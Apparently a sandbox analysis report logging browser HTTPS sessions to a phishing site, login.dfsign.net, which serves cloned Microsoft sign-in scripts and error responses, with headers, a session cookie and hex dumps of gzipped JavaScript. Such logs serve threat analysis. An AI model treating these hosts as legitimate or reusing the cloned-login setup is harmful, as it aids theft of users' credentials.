2025-01-07 13:48:51 UTC	5694	OUT	Data Raw: 7b 22 65 63 22 3a 22 5b 52 65 74 72 79 20 30 5d 20 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 65 78 74 65 72 6e 61 6c 20 72 65 73 6f 75 72 63 65 20 5b 27 68 74 74 70 73 3a 2f 2f 39 36 37 36 31 37 30 65 2d 62 35 30 32 37 66 63 64 2e 64 66 73 69 67 6e 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 6a 73 2f 43 6f 6e 76 65 72 67 65 64 4c 6f 67 69 6e 5f 50 43 6f 72 65 5f 6b 41 78 39 71 5a 4f 53 48 34 67 39 30 46 4e 48 73 74 48 4d 43 41 32 2e 6a 73 27 5d 2c 20 72 65 6c 6f 61 64 69 6e 67 20 66 72 6f 6d 20 66 61 6c 6c 62 61 63 6b 20 43 44 4e 20 65 6e 64 70 6f 69 6e 74 22 2c 22 77 65 63 22 3a 22 35 36 22 2c 22 69 64 78 22 3a 31 2c 22 70 6e 22 3a 22 43 6f 6e 76 65 72 67 65 64 53 69 67 6e 49 6e 22 2c 22 73 63 22 3a 32 30 30 31 2c 22 68 70 Data Ascii: {"ec":"[Retry 0] Failed to load external resource ['https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/js/ConvergedLogin_PCore_kAx9qZOSH4g90FNHstHMCA2.js'], reloading from fallback CDN endpoint","wec":"56","idx":1,"pn":"ConvergedSignIn","sc":2001,"hp
2025-01-07 13:48:52 UTC	824	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:52 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache pragma: no-cache p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" client-request-id: ee85291b-d42c-4604-ac80-bb2cfe8c29a4 x-ms-request-id: 7e2a746a-7ff3-427f-9617-9dfbf71d4200 x-ms-ests-server: 2.1.19683.3 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:48:52 UTC	272	IN	Data Raw: 31 30 39 0d 0a 7b 22 61 70 69 43 61 6e 61 72 79 22 3a 22 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 77 4c 4e 46 4b 57 31 67 61 48 50 4c 5a 4e 69 59 70 73 41 65 36 6a 67 51 76 38 37 65 46 5f 6c 7a 4c 34 52 72 6f 44 4f 4d 6a 66 6a 55 6c 32 36 4c 4c 4c 31 45 42 6c 5a 50 63 4c 4c 73 6d 42 2d 2d 50 72 68 4f 69 42 45 2d 68 6c 52 30 79 38 59 42 61 66 48 35 78 31 61 74 70 46 54 75 39 51 38 38 61 73 50 38 56 45 69 38 4f 51 38 55 6a 74 76 45 74 77 4c 72 49 41 41 59 56 55 50 6c 54 33 32 4c 6b 58 6c 38 6d 4c 33 71 6d 51 39 49 6b 50 4e 73 6e 33 6c 52 73 47 2d 72 72 4d 78 77 6a 4e 63 54 51 79 6c 38 36 4d 59 5a 58 6f 57 62 34 5a 64 67 4f 61 6a 72 71 4e 34 6a 35 36 68 4b 71 7a 48 30 77 6b 71 65 75 67 46 32 79 65 57 Data Ascii: 109{"apiCanary":"PAQABDgEAAADW6jl31mB3T7ugrWTT8pFewLNFKW1gaHPLZNiYpsAe6jgQv87eF_lzL4RroDOMjfjUl26LLL1EBlZPcLLsmB--PrhOiBE-hlR0y8YBafH5x1atpFTu9Q88asP8VEi8OQ8UjtvEtwLrIAAYVUPlT32LkXl8mL3qmQ9IkPNsn3lRsG-rrMxwjNcTQyl86MYZXoWb4ZdgOajrqN4j56hKqzH0wkqeugF2yeW
2025-01-07 13:48:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49749	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:51 UTC	831	OUT	GET /Prefetch/Prefetch.aspx HTTP/1.1 Host: 58fdca4b-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:52 UTC	489	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 07 Jan 2025 13:48:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache x-ms-correlation-id: 4c706342-5a0e-4d2b-9571-d9930dbe7b03 x-ua-compatible: IE=Edge x-cache: CONFIG_NOCACHE x-msedge-ref: Ref A: 4B95F268883F4CF38F7BE94B3D2B3699 Ref B: AMS231032605021 Ref C: 2025-01-07T13:48:52Z access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:48:52 UTC	1252	IN	Data Raw: 34 64 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 Data Ascii: 4dd<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404
2025-01-07 13:48:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49750	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:52 UTC	609	OUT	GET /common/handlers/watson HTTP/1.1 Host: login.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=42d2215d-48fd-4f2b-8fce-5caae4bcb1c1; brcap=0
2025-01-07 13:48:53 UTC	764	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:53 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache pragma: no-cache p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 9bb2b686-7f14-4b67-9987-74a35080b300 x-ms-ests-server: 2.1.19683.3 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:48:53 UTC	170	IN	Data Raw: 61 34 0d 0a 7b 22 65 72 72 6f 72 22 3a 7b 22 63 6f 64 65 22 3a 36 31 30 30 2c 22 73 74 73 45 72 72 6f 72 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 2c 22 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 22 3a 22 63 64 37 66 30 37 35 33 2d 33 37 65 62 2d 34 63 61 34 2d 38 31 66 66 2d 31 39 39 66 31 33 39 34 32 39 39 66 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 35 2d 30 31 2d 30 37 20 31 33 3a 34 38 3a 35 33 5a 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 7d 7d 0d 0a Data Ascii: a4{"error":{"code":6100,"stsError":"AADSTS900561","correlationId":"cd7f0753-37eb-4ca4-81ff-199f1394299f","timestamp":"2025-01-07 13:48:53Z","message":"AADSTS900561"}}
2025-01-07 13:48:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49754	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:53 UTC	740	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1cd84c14a6b01fcd8515.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:54 UTC	811	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:53 GMT Content-Type: application/x-javascript Content-Length: 5532 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 15 Nov 2024 18:42:37 GMT etag: 0x8DD05A547165EBB x-ms-request-id: 7f9595f0-201e-0016-45bc-58423e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134853Z-1777998d8f9g999lhC1DUSfk0400000010v00000000003bx x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:54 UTC	5532	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 5b 7d 77 da 46 d6 ff bf 9f 42 68 f7 10 69 33 96 4d da 74 b7 72 55 1f 87 97 84 d6 8e 5d 83 db 4d 93 1c 8e 40 03 28 16 92 aa 11 c6 d4 f0 dd 9f df 9d 91 40 80 c0 4e 9f ed 49 2d 6b e6 ce 9d 3b 77 ee fb 95 8f ff 55 f9 46 fb 97 76 f4 fc ff b4 4e f7 fc a6 ab 5d b5 b4 ee bb f6 4d 43 bb c6 db 07 ed fd 55 b7 5d 6f 3e 1f 0f 6d 4a ff 77 c7 be d0 86 7e c0 35 3c fb ae e0 9e 16 85 5a 94 68 7e 38 88 92 38 4a dc 94 0b 6d 82 9f 89 ef 06 da 30 89 26 5a 3a e6 5a 9c 44 5f f8 20 15 5a e0 8b 14 8b fa 3c 88 66 9a 01 74 89 a7 5d bb 49 3a d7 da d7 a6 05 fc 1c d8 fc 91 1f 62 f5 20 8a e7 f8 7d 9c 6a 61 94 fa 03 ae b9 a1 27 b1 05 78 09 05 d7 a6 a1 c7 13 6d 36 f6 07 63 ed d2 1f 24 91 88 86 a9 96 f0 01 f7 ef b1 89 98 62 7c 73 0b a6 b9 09 d7 04 4f b5 61 Data Ascii: [}wFBhi3MtrU]M@(@NI-k;wUFvN]MCU]o>mJw~5<Zh~88Jm0&Z:ZD_ Z<ft]I:b }ja'xm6c$b\|sOa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49751	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:53 UTC	563	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_27cef08ca792f8e8b149.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:54 UTC	813	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:54 GMT Content-Type: application/x-javascript Content-Length: 116390 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 15 Nov 2024 18:42:37 GMT etag: 0x8DD05A546E5C15E x-ms-request-id: bbf6efa4-701e-005d-1be5-5af67f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134853Z-15464c697c5nzg6lhC1FRAsbv80000000qxg00000000fx2y x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:54 UTC	15566	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec 7d 5b 5b db 48 b6 e8 fb fe 15 b6 a6 c7 2d c5 85 b1 8c 31 20 23 3c 24 21 3d cc 24 81 0d a4 7b 7a 88 27 9f b0 cb 58 89 91 3c 92 cc a5 b1 f7 6f 3f 6b ad aa 92 4a b2 0c 26 dd fb 9c 87 33 fd 75 b0 2e a5 ba d7 ba 5f 36 5f 55 ff ab f2 aa b2 b1 fe 7f 95 f3 8b c3 b3 8b ca c9 bb ca c5 5f 8f cf de 56 4e e1 ee d7 ca c7 93 8b e3 37 47 eb d7 83 8d e2 bf 8b b1 1f 57 46 fe 84 57 e0 f7 ca 8b f9 b0 12 06 95 30 aa f8 c1 20 8c a6 61 e4 25 3c ae dc c0 df c8 f7 26 95 51 14 de 54 92 31 af 4c a3 f0 2b 1f 24 71 65 e2 c7 09 7c 74 c5 27 e1 5d c5 84 ea a2 61 e5 d4 8b 92 87 ca f1 a9 d5 80 fa 39 d4 e6 5f fb 01 7c 3d 08 a7 0f 70 3d 4e 2a 41 98 f8 03 5e f1 82 21 d5 36 81 9b 20 e6 95 59 30 e4 51 e5 6e ec 0f c6 95 0f fe 20 0a e3 70 94 54 22 3e e0 fe 2d 34 Data Ascii: }[[H-1 #<$!=${z'X<o?kJ&3u._6_U_VN7GWFW0 a%<&QT1L+$qe\|t']a9_\|=p=N*A^!6 Y0Qn pT">-4
2025-01-07 13:48:54 UTC	12561	IN	Data Raw: 89 95 22 cc 52 28 9e d1 c6 9a fc 59 5a 9a f6 c2 de 53 af 53 b9 34 d2 84 a5 05 35 8b ed 5c 61 1c 0f 06 69 97 23 2a dd a7 40 cc a6 b4 87 22 87 c4 b0 91 f2 91 34 98 46 47 e8 73 94 86 2c b4 29 bf a5 8c 96 e8 a5 73 4a 9a 80 6a 8e d3 30 c5 e1 73 c9 a1 41 a2 d8 a0 70 1a 50 fd 24 ce a5 4b 3e 17 e9 c1 cc 6e 37 d2 7b 91 8f 54 35 be df 42 22 57 5d 67 3b 25 76 5b 6c b6 09 7f 3c fc 13 c1 9f 02 7b 99 4a 16 6c 72 57 14 a1 b0 1b 98 8b ee d3 71 90 d8 9d d7 47 26 7f 15 5b 0b da a9 34 ee 91 bb 21 5c 8f 7c 37 ea fa fb 33 0a 8e 4e e9 07 12 e6 5b 50 0b 5a 5f 6f 60 75 23 38 0e fe c6 48 f4 54 3c 81 89 18 b9 be c5 e0 71 dd d6 8c a4 2b a3 57 31 6d f9 0d 34 4f c4 62 fe 86 8b df 32 6c 2e b3 7e 8e ea de c1 4c b8 43 6e 78 24 2c e9 fa e8 f6 e4 6f 6c 64 6a dd 09 2a 63 c7 f0 74 bc ef 75 Data Ascii: "R(YZSS45\ai#@"4FGs,)sJj0sApP$K>n7{T5B"W]g;%v[l<{JlrWqG&[4!\\|73N[PZ_o`u#8HT<q+W1m4Ob2l.~LCnx$,oldjctu
2025-01-07 13:48:54 UTC	16384	IN	Data Raw: cb 4f 96 2c d4 cf 36 3b f9 41 48 75 26 8a 83 a8 57 06 79 c3 0d d7 f3 c3 c3 b6 d7 f7 c2 a0 14 ef 0a a6 11 bf 51 36 30 1d e3 7d 1e 94 22 35 3a fc 6a b4 67 5a 0b ee 17 eb 11 88 f0 52 e3 97 37 da a6 dd 45 d2 cd c5 c6 e3 b9 03 81 f2 96 5c 6a 62 69 d0 6a 8e 1c 67 69 5a 08 6d 14 3e cf e8 d2 69 3a cc 30 8a f1 8d 59 4f 33 45 8d c4 55 d9 83 2a fd c0 8f 07 4c 8f 13 d4 7c 9d ca dd f1 7e c3 c9 5b a1 4a c5 0c df 4a f9 29 f4 b5 33 1e ac 5d 4a 0b a2 ea 7e 8e a6 51 95 fb cf f4 2a f6 34 66 cb 02 ac b9 76 55 b7 dd a1 fe ed cb 50 49 79 87 7d 0e 7c 43 0d 60 f8 0f 59 32 91 19 27 54 3b b5 94 44 49 6f 58 38 1b 53 e3 2e df ba 78 8f 08 24 0d b4 e4 bf 61 7b fa b1 b1 27 e9 7c 11 59 56 f0 6c 51 59 56 f8 5a 4c e7 19 1e 6a bb 22 9b c9 ca 3a e1 75 18 4f 84 f3 2c 69 0b 56 24 63 74 51 c6 Data Ascii: O,6;AHu&WyQ60}"5:jgZR7E\jbijgiZm>i:0YO3EUL\|~[JJ)3]J~Q4fvUPIy}\|C`Y2'T;DIoX8S.x$a{'\|YVlQYVZLj":uO,iV$ctQ
2025-01-07 13:48:54 UTC	16384	IN	Data Raw: bf e2 c6 39 f0 ec 5d 04 86 d3 b8 71 af 48 29 ca da bb 1e 80 be 73 07 ac 9f 7b 5f c0 ac e1 18 16 28 99 17 61 81 19 c8 f9 c6 dc 62 b0 a7 06 d1 d0 3f 7d 78 38 99 b1 7b b5 d4 0b f2 6a 5b 20 4c 81 3e 9c 76 3f f9 62 6e 89 1a ee 09 32 77 92 9f 92 91 aa dd 0b 37 65 b7 ec 23 48 c4 b3 d9 f2 a4 71 bf 7a b4 ed b5 c5 a6 dd db 15 9b f6 59 9b 6f da dd ad 1d be 69 f7 37 77 e5 a6 7d c6 37 ed ee 76 8b 6f da fd cd 3d be 67 f7 37 f7 71 cf 0a e6 e2 8e 48 e7 d6 a2 d3 10 04 a3 6b 0e 82 cb e0 ba bb e9 b7 61 bf 16 32 0b 56 d3 c1 bd 7a d5 bb d2 a9 af 60 af 5a 7a b1 2b 42 b4 1b de c5 6d 70 63 88 90 a8 81 bd c3 33 f4 96 39 83 b0 c4 ec 29 6b 6b 42 0e ba 6d d2 1d b6 aa 82 de 6e 08 32 e7 78 f0 f0 a0 4d 0f b6 76 54 4d d6 20 d1 fd ba 8b 95 2a 14 56 23 d2 5f 93 89 ef 06 6d 59 f4 43 99 e1 Data Ascii: 9]qH)s{_(ab?}x8{j[ L>v?bn2w7e#HqzYoi7w}7vo=g7qHka2Vz`Zz+Bmpc39)kkBmn2xMvTM *V#_mYC
2025-01-07 13:48:54 UTC	4641	IN	Data Raw: 8c 96 1f b6 ac bd 47 7f d8 ca d4 01 5c c0 e4 61 ab 7c 4a aa bd f5 68 cf d2 9c 00 a9 60 de a6 e1 27 a8 b5 d6 94 c7 0d fd a4 f0 80 8f 92 65 66 3b 5f 28 e2 55 c9 41 f2 04 e0 54 fa 02 b0 22 87 e3 39 9c 2b cc 14 4a 0b 72 77 a7 0b e1 22 14 c1 da 76 57 3b c6 ca c2 f2 d4 b2 63 e6 fc 86 36 43 e1 04 a5 2e a8 21 76 2a 15 d0 7a b1 52 e4 57 0b 2a aa 9c 82 d0 c1 9c 9b c0 06 7b 19 79 19 33 82 53 42 1d 84 34 5a 43 8d ec ec cc 95 43 5a 9d 6b 84 79 9a 0b 26 3a 2c 33 d1 61 99 89 9e 00 fe 4a 37 9e 17 c4 4f dd ed ca ba 14 00 e7 28 e9 07 81 59 2d a9 af a1 c2 2a bb 5f 87 ed b6 63 26 2e b1 f3 6a 03 74 fe 11 19 24 87 bf c6 25 67 e1 d0 1b b8 cc 9a e0 4e 05 21 a0 4e 52 40 1e 9f c2 e3 4b b4 ff 0c 59 3e a1 c5 bb ca e5 19 11 9c 86 7a 1d 39 da 3e 8b 9d e1 d9 de d9 a3 3f 8c ce 4e cf b2 Data Ascii: G\a\|Jh`'ef;_(UAT"9+Jrw"vW;c6C.!vzRW{y3SB4ZCCZky&:,3aJ7O(Y-*_c&.jt$%gN!NR@KY>z9>?N
2025-01-07 13:48:54 UTC	16384	IN	Data Raw: aa 5b 80 0c d5 61 6d e8 e5 01 ab e8 cc 94 00 90 3e 82 8a 22 d1 4c 28 5d 37 19 60 a1 b1 99 53 32 01 48 64 43 f8 30 08 d6 c1 1f c3 cc 08 f3 03 3f 49 a7 49 44 0a 6a 06 9c 56 d6 02 ce 5c 2d f8 d0 02 26 d6 f1 cc 38 27 d1 d0 da 7b 64 d5 ab e1 3d ee 78 8a 9e 83 7e f3 5d be 49 8c 6e 09 23 d0 6f af 6a cb 29 cc 08 06 78 55 bf f0 c0 94 6e e9 68 98 7a 59 0b 18 83 56 a5 f3 b4 dc 79 6d 68 70 83 38 5e 56 e8 c4 0c 46 23 76 93 41 83 fa 99 e9 ec 18 31 57 e2 17 e1 9b 07 ff 9d 0c 12 04 4b 64 ed 08 42 42 a7 15 17 ba 30 65 3f cc 5a d9 02 10 e3 35 3c 4e bb 81 c7 a9 b1 06 c0 e3 ec d6 79 1c 2b ac 96 01 8f 73 52 29 5b c3 43 30 ff 40 e9 9d 7c d4 53 69 f8 97 00 ba 48 22 d5 eb 47 55 df 59 8a 8a 8b b8 ee ee 2e 22 85 37 de ff a4 51 2c 61 2b e7 99 bf 7f 08 40 7f e4 3f 7e 52 c4 e0 66 47 Data Ascii: [am>"L(]7`S2HdC0?IIDjV\-&8'{d=x~]In#oj)xUnhzYVymhp8^VF#vA1WKdBB0e?Z5<Ny+sR)[C0@\|SiH"GUY."7Q,a+@?~RfG
2025-01-07 13:48:54 UTC	16384	IN	Data Raw: 03 36 ac 8c 98 ee b7 42 5e 7f 36 36 ab a6 64 a2 74 88 f9 28 1e 0a 6c dc aa dd 32 ab f4 36 98 06 61 2b 13 19 89 dd 4c 24 db d1 0d 3e 7e ba c9 b0 5e 16 b8 49 06 81 11 38 47 b9 46 fa 88 aa ec b2 bc d2 92 2f 46 d7 89 d0 f7 a8 b1 22 f4 a5 23 3d 25 f4 25 11 6f 5a e8 8b ae 91 03 73 ac 6b 64 ac a3 a1 e0 77 a2 da ca de f1 93 80 8d cc b7 56 38 86 33 ee 7e 13 30 1a c0 14 51 83 2b e6 c8 42 61 c5 26 d0 8b be c0 15 03 e0 7a c6 68 7c 04 14 13 1b a0 d9 51 a4 a7 0d 63 07 2d 1b 1e 70 1b bd 31 ce ac 6f 8e d3 e6 b8 0e 90 e0 54 6e 9a 77 8b 85 a7 fb 69 73 dc 80 1e 4b 73 5c df f4 bb 73 6e 8e eb 2b 96 61 4c bc ed 9b 29 7b b1 58 6d 35 66 53 76 c3 31 17 e5 3c d3 53 15 3b 77 2d df d0 47 fa 4d 61 8a 1c 1c 25 80 99 1e df b4 a7 f9 3c 9b 00 72 9b a2 34 77 8c d2 5c 1a 7d 77 da 5b e7 69 Data Ascii: 6B^66dt(l26a+L$>~^I8GF/F"#=%%oZskdwV83~0Q+Ba&zh\|Qc-p1oTnwisKs\sn+aL){Xm5fSv1<S;w-GMa%<r4w\}w[i
2025-01-07 13:48:54 UTC	16384	IN	Data Raw: b3 89 c6 94 8f cc 26 1c bc 59 bc 39 b2 e4 44 03 9c 4d ac a9 7c 05 58 f3 04 0e 66 18 24 98 4f 69 ab cc 4a ad c3 25 83 61 1d 22 4b 2e 8c 78 47 e6 1d 66 56 7c 77 fa f1 e2 d7 f3 eb d3 0f 1f 4e ff b8 7e f9 e9 f5 eb f3 0f d7 bf 5e 9c ff 76 85 be 6f d9 5f 9e 28 5f e2 59 42 ca e8 05 8c 17 5a 45 c3 ef 94 e8 3b 68 38 5c 49 be d8 9e a3 9d fb 2a 40 0f 14 91 07 46 d5 d9 1c af 96 e3 f4 8a 98 43 2d 65 6b 24 c4 21 d2 e8 83 f2 2e 0a f8 42 9b 58 1f 57 91 0c 45 9d bc 7d e2 2a da 88 a1 ae fd e6 7b ee 68 8f d7 d6 b8 d1 52 bb 7f ec 00 1c 12 a4 e5 fb 3d d3 ef f6 01 08 51 42 0b 54 c1 66 e6 90 29 b4 d0 8c 93 52 48 1b f4 26 79 f3 6f 83 22 48 bc b4 26 07 94 1b 0b 77 51 94 a0 02 dc 4d 5e ec bf 86 c9 4c a5 99 37 92 93 30 6e 57 b7 8c b6 75 02 a3 ec 63 ca 51 bf eb 28 38 bc 4f 19 39 54 Data Ascii: &Y9DM\|Xf$OiJ%a"K.xGfV\|wN~^vo_(_YBZE;h8\I@FC-ek$!.BXWE}{hR=QBTf)RH&yo"H&wQM^L70nWucQ(8O9T
2025-01-07 13:48:54 UTC	1702	IN	Data Raw: dc ca 5d 07 b2 40 9b b8 65 fa a9 02 f0 1e 6c 18 c9 62 38 0e 2d 85 d2 64 58 d1 1d c7 b3 f7 4b cb be 5f 5a f6 fd ea 65 df 5f 5a f6 d5 e3 7e c5 a2 b6 77 0e 35 29 95 fa 9f 36 1a ee 3b 43 d3 f9 27 c4 0e cf 95 8e 9e 90 ab a2 bc c7 fb c9 55 62 18 ef 67 57 09 5b bc 0f ae 94 59 7b 9f 17 f7 79 23 f9 af b4 7d f9 53 b4 c9 96 f5 9f a5 22 7a ef 4e 13 87 e8 b7 9b 38 fc 06 e3 06 ea 4b 85 7d 83 ec 4d c1 cc 81 32 ff 7e 4b 87 e2 48 17 7f 69 dd fd a5 75 57 d4 ba 2b 1b 06 fd 09 a6 2f d9 7f c2 4c e1 2f c3 9a ff 22 c3 9a ce c6 f6 26 5b d6 90 23 8e a9 74 b1 31 91 f6 34 b3 15 c6 32 2b cd 80 1f 6c 22 0b 8c 6b 56 34 89 11 1e 10 7c 6b a7 f5 b8 b5 d1 91 6e 78 c9 73 42 c6 52 43 60 1e cf d9 11 a5 18 04 b2 e2 51 b5 21 8a ca 7b 87 ee 36 f2 d0 91 8f be 04 94 9e 6c 24 f4 64 43 3f 5a d2 93 Data Ascii: ]@elb8-dXK_Ze_Z~w5)6;C'UbgW[Y{y#}S"zN8K}M2~KHiuW+/L/"&[#t142+l"kV4\|knxsBRC`Q!{6l$dC?Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49753	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

